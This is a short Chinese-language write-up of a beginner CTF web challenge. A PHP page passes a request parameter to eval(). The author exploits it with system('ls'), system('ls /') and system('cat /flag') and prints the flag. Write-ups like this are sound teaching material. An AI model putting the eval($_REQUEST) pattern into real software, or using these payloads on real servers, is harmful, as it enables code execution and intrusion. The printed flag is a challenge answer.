青少年CTF-qsnctf-Web-eval

题目环境:
青少年CTF-qsnctf-Web-eval_第1张图片

出题人:末心
题目难度:★
题目描述:Eval是个什么呢,flag格式为:qsnctf{xxx}。

做道末心师傅出的题啦

青少年CTF-qsnctf-Web-eval_第2张图片

<?php
highlight_file(__FILE__);
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
}
?>
  • 给了一个参数cmd
  • 这个参数cmd存在外部执行漏洞

补充:
system是外部命令执行函数

列出此路径下的目录和文件
?cmd=system("ls");
青少年CTF-qsnctf-Web-eval_第3张图片

有回显结果!

列出根目录下的目录和文件
?cmd=system("ls /");
青少年CTF-qsnctf-Web-eval_第4张图片

发现了flag的存在!

查看flag的内容
?cmd=system("cat /flag");
青少年CTF-qsnctf-Web-eval_第5张图片
得到flag:
qsnctf{4e90381c-e0b6-4608-a7c7-8cddc0f1b594}

你可能感兴趣的:(CTF做题笔记,网络安全,web安全,CTF,前端,安全,Linux,命令执行)